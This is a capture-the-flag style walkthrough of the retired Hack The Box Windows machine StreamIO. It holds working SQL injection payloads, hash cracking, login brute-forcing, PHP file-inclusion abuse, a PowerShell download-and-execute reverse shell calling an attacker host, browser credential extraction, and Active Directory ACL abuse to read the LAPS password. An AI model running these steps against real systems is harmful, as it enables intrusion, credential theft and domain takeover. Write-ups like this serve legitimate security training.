Skip to content

StreamIO

Box details
OS Windows
Difficulty Medium
Status Retired
Release June 2022
Completed October 2025

Enumeration

Nmap scan of the target host:

$ nmap -sV -sC -p- -PN -oA streamio_nmap 10.129.166.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-04 19:59 CEST
Nmap scan report for 10.129.166.10
Host is up (0.029s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-05 01:01:31Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
|_ssl-date: 2025-10-05T01:03:00+00:00; +7h00m01s from scanner time.
|_http-title: Not Found
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

A UDP scan for common ports did not find any additional services.

From the scan results, the target domain name is streamio.htb. There is also an additional subdomain, watch.streamio.htb, both of which are for a custom web application served over HTTPS:

streamio.htb:

alt text

watch.streamio.htb:

alt text

There is a Login button on the front page that leads to a form for users to login or register for an account:

alt text

Registering an account doesn't seem to do anything, as logging in with the same credentials just gives an error message. Attempting to inject the form with a basic SQLi payload returns the following error message:

alt text

Running FuFF on the web site turns up a couple of interesting hits for the watch.streamio,htb subdomain:

1
2
3
4
5
6
7
8
9
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -ic -u https://watch.streamio.htb/FUZZ.php
...
index                   [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 25ms]
search                  [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 113ms]
Search                  [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 29ms]
Index                   [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 32ms]
INDEX                   [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 23ms]
SEARCH                  [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 37ms]
blocked                 [Status: 200, Size: 677, Words: 28, Lines: 20, Duration: 20ms]

Navigating to https://watch.streamio.htb/search.php turns up a page for searching movies on the site:

alt text

None of the titles are of course available for watching, but there is some input validation in the search field. If injected with a simple SQLi payload (' or '1'='1), the application returns the following error page:

alt text

The session block isn't real, and not all payloads trigger it, meaning that there might be weaknesses in the character blacklist filter. For instance, injecting a single quote (') doesn't return any results, just the empty search page.

One way of enumerating which characters are blocked and which ones aren't is by running FFuF against the search query with a list of special characters as the wordlist. The idea is that characters that don't trigger the filter and don't cause SQLi will return an empty page like in the case of '. If a character does lead to SQLi, it might cause the application to dump database contents, leading to a larger page size:

$ ffuf -w /usr/share/seclists/Fuzzing/special-chars.txt -ic -u https://watch.streamio.htb/search.php -d "q=FUZZ" -H "Content-Type: application/x-www-form-urlencoded"
...
 :: Method           : POST
 :: URL              : https://watch.streamio.htb/search.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/special-chars.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : q=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

}                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 28ms]
!                       [Status: 200, Size: 2144, Words: 98, Lines: 66, Duration: 29ms]
|                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 33ms]
*                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 39ms]
\                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 39ms]
[                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 42ms]
`                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 45ms]
^                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 48ms]
@                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 38ms]
,                       [Status: 200, Size: 3934, Words: 198, Lines: 114, Duration: 41ms]
]                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 42ms]
~                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 46ms]
.                       [Status: 200, Size: 6704, Words: 330, Lines: 194, Duration: 47ms]
(                       [Status: 200, Size: 1632, Words: 79, Lines: 50, Duration: 48ms]
'                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 56ms]
;                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 56ms]
?                       [Status: 200, Size: 1612, Words: 77, Lines: 50, Duration: 61ms]
$                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 51ms]
)                       [Status: 200, Size: 1632, Words: 79, Lines: 50, Duration: 51ms]
=                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 56ms]
<                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 57ms]
>                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 58ms]
/                       [Status: 200, Size: 1303, Words: 58, Lines: 42, Duration: 59ms]
"                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 61ms]
{                       [Status: 200, Size: 1031, Words: 46, Lines: 34, Duration: 64ms]
-                       [Status: 200, Size: 10048, Words: 513, Lines: 282, Duration: 65ms]
:                       [Status: 200, Size: 29151, Words: 1600, Lines: 786, Duration: 77ms]
&                       [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 57ms]
%                       [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 79ms]
_                       [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 96ms]
+                       [Status: 200, Size: 196330, Words: 9846, Lines: 5514, Duration: 86ms]

The most interesting results are towards the end of the list. There are no titles with % or _ in them, nor are there that many titles with a &. All the characters are SQL operators, which means they are being passed directly to the DBMS.

Foothold

The goal is to exploit the SQLi vulnerability through a union injection, which is the usual way of appending an arbitrary SQL statement to an exisiting query.

Background

A payload can be built by considering what the query executed on the backend likely looks like:

select * from movies where name like '%24%';

The %% are wildcard operators that match titles with names containing the search string (24). As the injection point is inside the search string, this needs to be terminated with a quote before the union select payload starts:

24' union select 1,2,3-- -

This results in the query:

select * from movies where name like '%24' union select 1,2,3-- -%';

The next step is to determine the number of columns in the table, which is done by incrementing the select count at the end of the payload, while looking for changes in the page returned.

The number of columns in the table can be brute-forced by passing the /search.php endpoint through Burp. At 6 columns, the HTML output changed:

alt text

According to the output of the @@version command, the target is running MSSQL 2019.

Tip

Having a search running for the HTML element where the output table begins (in this case <h5 class="p-2">) is crucial. The page changes for each column iteration are subtle, making it easy to miss when the output actually changes.

With a foothold inside the database, the discovered SQLi can be used to exfiltrate information from the database. This cheat sheet is a handy reference for setting up the relevant queries. These need to be adapted to the union select payload before they're executed.

For instance, all databases are enumerated with the following query:

SELECT name FROM master..sysdatabases;

Adapting it to the union select above gives the payload:

24' union select 1,name,3,4,5,6 from master..sysdatabases-- -

Delivering it through a web browser makes viewing the results much easier than in Burp:

alt text

Going for the obvious STREAMIO database, a list of usernames can be obtained with the following payload:

24' union select 1,username,3,4,5,6 from streamio..users-- -

The usernames are paired with entries in a password column, but since there is only one column for output, these have to be concatenated using CONCAT() in order to output them in a single column. The following payload achieves this:

24' union select 1,concat(username,password),3,4,5,6 from streamio..users-- -

alt text

The hashes can be cracked using Hashcat in one go by saving them to a file and cracking them in mode 0 (MD5):

$ hashcat -m 0 --username --potfile-path md5.potfile users.txt ~/sboxshare/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
d41d8cd98f00b204e9800998ecf8427e:
3577c47eb1e12c8ba021611e1280753c:highschoolmusical
098f6bcd4621d373cade4e832627b4f6:test
81b073de9370ea873f548e31b8adc081:2345
0cc175b9c0f1b6a831c399e269772661:a
ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
665a50ac9eaa781e4f7f04199db97a11:paddpadd
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
ef8f3d30a856cf166fb8215aca93e9ff:%$clara
2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
6dcd87740abb64edfa36d170f0d5450d:$3xybitch
08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: users.txt
Time.Started.....: Sun Oct  5 15:13:59 2025 (4 secs)
Time.Estimated...: Sun Oct  5 15:14:03 2025 (0 secs)

The cracked passwords can be mapped back to their respective user names with the --show argument:

$ hashcat -m 0 --username --potfile-path md5.potfile  --show -o formatted_output.txt --outfile-format 2 users.txt
$ cat formatted_output.txt
Lenord:physics69i
Clara:%$clara
admin:paddpadd
yoshihide:66boysandgirls..
test:test
test2:test
Barry:$hadoW
Sabrina:!!sabrina$
test:2345
Thane:highschoolmusical
Bruno:$monique$1991$
Victoria:!5psycho8!
Michelle:!?Love?!123
Juliette:$3xybitch
Lauren:##123a8j8w5123##

As the target is a Windows host, there might be a chance that some of the credentials in the list above might have been reused for a Windows account. However, enumerating the list with nxc smb and nxc ldap did not yield any results.

The obvious next step then is to test the credentials for accessing the site itself. One way of going about this is to test every credential on the list (which is feasible in this case), or to use Hydra for brute forcing the login form.

HTTP forms can be brute forced using Hydra with the http-post-form service:

$ hydra [options] target http-post-form "path:params:condition_string"

The three parameters in this case are:

  • path: /login.php
  • params: user=^USER^&pass=^PASS^
  • condition_string: F=Login failed

Running Hydra against the list of usernames and cracked passwords returns one hit:

1
2
3
4
5
6
7
$ hydra -L usernames.txt -P pass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"
...
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-05 16:00:28
[DATA] max 16 tasks per 1 server, overall 16 tasks, 289 login tries (l:17/p:17), ~19 tries per task
[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:F=Login failed
[443][http-post-form] host: streamio.htb   login: yoshihide   password: 66boysandgirls..
1 of 1 target successfully completed, 1 valid password found

Tip

The list of credentials obtained earlier can be split into separate lists for usernames and passwords with the following AWK oneliner:

awk -F':' '{print $1 > "usernames.txt"; print $2 > "pass.txt"}' formatted_output.txt

Although the credentials work for logging in to the main site, there isn't anything new to see. However, navigating to /admin reveals what looks like an admin panel for the site:

alt text

The admin panel is very minimal with just the most basic function for managing users, movies and staff. There is also a Leave a message for admin page, but this is just a blank page.

Fuzzing the /admin endpoint for additional PHP scripts doesn't turn up anything except index.php and master.php:

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -b "PHPSESSID=insrb1hhjfo0fodtrln30gjvrg" -ic -u https://streamio.htb/admin/FUZZ.php
...
________________________________________________

 :: Method           : GET
 :: URL              : https://streamio.htb/admin/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Header           : Cookie: PHPSESSID=insrb1hhjfo0fodtrln30gjvrg
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

index                   [Status: 200, Size: 1678, Words: 85, Lines: 50, Duration: 34ms]
Index                   [Status: 200, Size: 1678, Words: 85, Lines: 50, Duration: 23ms]
master                  [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 35ms]
INDEX                   [Status: 200, Size: 1678, Words: 85, Lines: 50, Duration: 23ms]
Master                  [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 22ms]
MASTER                  [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 34ms]

master.php doesn't appear to be accessible directly:

1
2
3
$ curl -k -H "PHPSESSID=insrb1hhjfo0fodtrln30gjvrg"  https://streamio.htb/admin/master.php
<h1>Movie managment</h1>
Only accessable through includes

Looking closer at the URL format used for the admin panel, each page is accessed through a specifc URL parameter. For instance, the User management page is at https://streamio.htb/admin/?user=. If there are other pages not listed in the panel menu, they too will have a unique parameter in the URL.

Like other parts of an URL, URL parameters can be fuzzed for with a tool like FFuF. Since the admin panel is behind a login, a session cookie needs to passed via the -b argument:

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b "PHPSESSID=insrb1hhjfo0fodtrln30gjvrg" -ic -u 'https://streamio.htb/admin/?FUZZ=' -fw=85
..._____________________________________________

 :: Method           : GET
 :: URL              : https://streamio.htb/admin/?FUZZ=
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : Cookie: PHPSESSID=insrb1hhjfo0fodtrln30gjvrg
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 85
________________________________________________

debug                   [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 24ms]
movie                   [Status: 200, Size: 319887, Words: 15969, Lines: 10779, Duration: 29ms]
staff                   [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 34ms]
user                    [Status: 200, Size: 4299, Words: 520, Lines: 135, Duration: 24ms]

The debug parameter is new. Navigating to this endpoint only presents a page with the following text:

alt text

While this looks like a dead end, the URL parameter can be used to include files. For instance, if attempting to include index.php, an error message is returned:

alt text

This is solved by passing the referenced page through PHP's base64 filter with php://filter/read=convert.base64-encode/resource=index.php:

alt text

Decoding the base64 blob produces the following PHP script:

index.php
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
    header('HTTP/1.1 403 Forbidden');
    die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Admin panel</title>
    <link rel = "icon" href="/images/icon.png" type = "image/x-icon">
    <!-- Basic -->
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <!-- Mobile Metas -->
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <!-- Site Metas -->
    <meta name="keywords" content="" />
    <meta name="description" content="" />
    <meta name="author" content="" />

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>

    <!-- Custom styles for this template -->
    <link href="/css/style.css" rel="stylesheet" />
    <!-- responsive style -->
    <link href="/css/responsive.css" rel="stylesheet" />

</head>
<body>
    <center class="container">
        <br>
        <h1>Admin panel</h1>
        <br><hr><br>
        <ul class="nav nav-pills nav-fill">
            <li class="nav-item">
                <a class="nav-link" href="?user=">User management</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="?staff=">Staff management</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="?movie=">Movie management</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="?message=">Leave a message for admin</a>
            </li>
        </ul>
        <br><hr><br>
        <div id="inc">
            <?php
                if(isset($_GET['debug']))
                {
                    echo 'this option is for developers only';
                    if($_GET['debug'] === "index.php") {
                        die(' ---- ERROR ----');
                    } else {
                        include $_GET['debug'];
                    }
                }
                else if(isset($_GET['user']))
                    require 'user_inc.php';
                else if(isset($_GET['staff']))
                    require 'staff_inc.php';
                else if(isset($_GET['movie']))
                    require 'movie_inc.php';
                else 
            ?>
        </div>
    </center>
</body>
</html>

While the index.php script does have credentials for a database service account, these can't be used for anything at this point, as the DBMS isn't reachable from the outside. There is one other file under /admin, master.php, that can be exfiltrated in the same way.

The relevant part of master.php is at the end:

...
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

The snippet above will evaluate all PHP code that is passed via the include POST parameter, including scripts from external sources, as PHP by default allows executing remote scripts.

This can be verified by creating a .php file with the following contents:

system("whoami");

Note

The code above isn't wrapped in <?php ... ?> tags because it's already being evaluated inside a PHP script.

Using Burp, the payload is delivered as a POST request to /admin?debug=master.php:

alt text

With RCE confirmed, the next step is to get a reverse shell on the target. A good choice in this case is ConPtyShell, as it has more features and better terminal support than a simple PowerShell reverse shell.

In order to spawn ConPtyShell, it first needs to be uploaded to the target, then executed in one go. This is done by combining the cmdlets Invoke-WebRequest (IWR) and Invoke-Expression (IEX). The output is then base64 encoded in UTF-16 little-endian, which is the format used by PowerShell:

1
2
3
4
$ echo 'IEX(IWR http://10.10.16.71:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.16.71 9001'| iconv -t utf16le | base64 -w 0
SQBFAFgAKABJAFcAUgAgAGgAdAB...
$ cat shell.php
system("powershell -e SQBFAFgAKABJAFcAUgA...");

Before the payload is delivered, a Python web server and a Netcat listener in raw mode need to be running on the attack host:

$ stty raw -echo; (stty size; cat) | nc -lvnp 9001
Listening on 0.0.0.0 9001

Once delivered, the payload retrieves the ConPtyShell payload and uses it to connect back to the attack host:

1
2
3
4
5
6
Connection received on 10.129.166.10 55691
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide

Lateral Movement

The shell spawned as yoshihide. From the looks of it, this is a very restricted account with no special privileges and no folder under C:\Users:

PS C:\inetpub\streamio.htb\admin> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

PS C:\inetpub\streamio.htb\admin> net user  yoshihide
User name                    yoshihide
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/22/2022 2:57:24 AM
Password expires             Never
Password changeable          2/23/2022 2:57:24 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/6/2025 2:48:28 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users

PS C:\inetpub\streamio.htb\admin> dir c:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/22/2022   2:48 AM                .NET v4.5
d-----        2/22/2022   2:48 AM                .NET v4.5 Classic
d-----        2/26/2022  10:20 AM                Administrator
d-----         5/9/2022   5:38 PM                Martin
d-----        2/26/2022   9:48 AM                nikk37
d-r---        2/22/2022   1:33 AM                Public

Despite being restricted, having a shell on the target host allows for accessing the MSSQL server directly. Using the sqlcmd.exe CLI and the credentials for db_admin found earlier, the server is accessed like so:

PS C:\inetpub\streamio.htb\admin> sqlcmd -S 127.0.0.1 -U db_admin -P B1@hx31234567890
1> SELECT name FROM master.dbo.sysdatabases;
2> go
name

----------------------------------------------
master

tempdb

model

msdb

STREAMIO

streamio_backup

Of the databases listed, the streamio_backup dtabase is of interest. Enumerating it reaveals a differnt user table than was found previously:

1> use streamio_backup;
2> go
Changed database context to 'streamio_backup'.
1> select table_name from streamio_backup.information_schema.tables;
2> go
table_name
----------------------------------------------
movies

users

1> select * from users;
2> go
id          username                    password

----------- --------------------------- --------------------------------
1           nikk37                      389d14cb8e4e9b94b137deb1caf0612a
2           yoshihide                   b779ba15cedfd22a023c4d8bcf5f2332
3           James                       c660060492d9edcaa8332d89c99c9239
4           Theodore                    925e5408ecb67aea449373d668b7359e
5           Samantha                    083ffae904143c4796e464dac33c1f7d
6           Lauren                      08344b85b329d7efd611b7a7743e8a09
7           William                     d62be0dc82071bccc1322d64ec5b6c51
8           Sabrina                     f87d3c0d6c8fd686aacc6627f1f493a5

(8 rows affected)

Of the users in the list, nikki37 is the most interesting, as this user has an account on the target and a folder under C:\Users. The hash is also easily crackable:

$ hashcat -m 0 '389d14cb8e4e9b94b137deb1caf0612a' ~/sboxshare/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
389d14cb8e4e9b94b137deb1caf0612a:get_dem_girls2@yahoo.com

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 389d14cb8e4e9b94b137deb1caf0612a
Time.Started.....: Mon Oct  6 00:06:06 2025 (2 secs)
Time.Estimated...: Mon Oct  6 00:06:08 2025 (0 secs)

Used the credentials to access the target as nikk37 with Evil-WinRM. Got the user flag.

Privilege Escalation

nikk37 doesn't have any special privileges or group memberships:

*Evil-WinRM* PS C:\Users\nikk37\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

*Evil-WinRM* PS C:\Users\nikk37\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group

There isn't much else to go on, but running WinPEAS as nikk37 reveals a Firefox profile:

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\nikk37\Documents> .\winpeas.exe
...
Looking for Firefox DBs
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history
    Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
Run SharpWeb (https://github.com/djhohnstein/SharpWeb)
...

The profile can be downloaded to the attack host through Evil-WinRM and any credentials extracted offline with firefox_decrypt.py:

$ python firefox_decrypt.py br53rxeg.default-release/
2025-10-06 21:33:17,234 - WARNING - profile.ini not found in /home/admin/sboxshare/htb-boxes/streamio/br53rxeg.default-release/
2025-10-06 21:33:17,234 - WARNING - Continuing and assuming '/home/admin/sboxshare/htb-boxes/streamio/br53rxeg.default-release/' is a profile location

Website:   https://slack.streamio.htb
Username: 'admin'
Password: 'JDg0dd1s@d0p3cr3@t0r'

Website:   https://slack.streamio.htb
Username: 'nikk37'
Password: 'n1kk1sd0p3t00:)'

Website:   https://slack.streamio.htb
Username: 'yoshihide'
Password: 'paddpadd@12'

Website:   https://slack.streamio.htb
Username: 'JDgodd'
Password: 'password@12'

Even though all the saved credentials in the Firefox profile point to slack.streamio.htb, there is no website at that address. Still, there might be system accounts on the target that reuse the credentials, something that can be enumerated with NetExec:

1
2
3
4
5
6
$ nxc smb 10.129.180.169 -u ff-usr.txt -p ff-pwd.txt
SMB         10.129.180.169  445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         10.129.180.169  445    DC               [-] streamIO.htb\admin:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE
SMB         10.129.180.169  445    DC               [-] streamIO.htb\nikk37:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE
SMB         10.129.180.169  445    DC               [-] streamIO.htb\yoshihide:JDg0dd1s@d0p3cr3@t0r STATUS_LOGON_FAILURE
SMB         10.129.180.169  445    DC               [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r

JDgodd appears to be a regular user account with no remote management privileges, meaning no WinRM access:

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\nikk37> net user jdgodd
User name                    JDgodd
Full Name
Comment
User's comment
...

Local Group Memberships
Global Group memberships     *Domain Users

The user may still have been granted privileges through ACEs or other mechanisms that aren't visible in a simple group membership or privilege listing. Disovering these requires further enumeration with BloodHound

Collected domain data with bloodhound-python as nikk37:

$ bloodhound-python -u nikk37 -p 'get_dem_girls2@yahoo.com' -ns 10.129.180.169 -d streamio.htb -c all
INFO: Found AD domain: streamio.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.streamio.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 8 users
INFO: Found 54 groups
INFO: Found 4 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 00M 15S

Running the First Degree Object Control query on JDgodd reveals that the account owns the Core Staff group and has a WriteOwner privilege over it:

alt text

The WriteOwner privilege allows JDgodd to change the owner of the Core Staff group, even though they're not a member of it. The usefulness of this isn't immediately obvious, but marking the user as owned and running the query Shortest Paths from Owned Principals shows a promising route to privilege escalation:

alt text

In summary, members of Core Staff have the ReadLAPSPassword privilege, which allows them to read the local administrator password for the target host.

Adding nikk37 to Core Staff is a two-step process that can be done from a domain-joined host (as nikk37 on the target in this case), from the attack host. The idea is to abuse the WriteOwner privilege give JDgodd GenericAll privileges, then adding nikk37 to the group.

Note

GenericAll isn't stictly necessary in this case, as JDGodd only needs to add a new member to the group which can be achieved with the AddMember privilege. In either case, the privilege has to be set first in order for JDgodd to be able to add new members.

Any valid user who can authenticate over LDAP can be used for this purpose. Although `nikk37 is the most obvious choice for their WinRM access, this isn't a requirement.

From the attack host, the ACL abuse can be performed with BloodyAD:

  1. Granting JDgodd GenericAll privileges:

    $ bloodyAD --host streamio.htb -d streamio -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' add genericAll 'core staff' jdgodd
    [+] jdgodd has now GenericAll on core staff
    
  2. Adding nikk37 as a member of the group:

    $ bloodyAD --host streamio.htb -d streamio -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' add groupMember "core staff" nikk37
    [+] nikk37 added to core staff
    

With the membership in Core Staff, the LAPS password can be extracted in a few ways, the most straight-forward of which is with NetExec:

1
2
3
4
5
$ nxc ldap streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com' --kdcHost 10.129.204.205 -M laps
SMB         10.129.204.205  445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
LDAP        10.129.204.205  389    DC               [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com
LAPS        10.129.204.205  389    DC               [*] Getting LAPS Passwords
LAPS        10.129.204.205  389    DC               Computer:DC$ User:                Password:1}ya6Lf[2Yg3&C

Finally, the target can be accessed as Administrator using Evil-WinRM:

1
2
3
4
5
$ evil-winrm -u administrator -i streamio.htb
Enter Password:

*Evil-WinRM* PS C:\Users\Administrator\desktop> whoami
streamio\administrator

Got the root flag from C:\Users\Martin\Desktop\root.txt.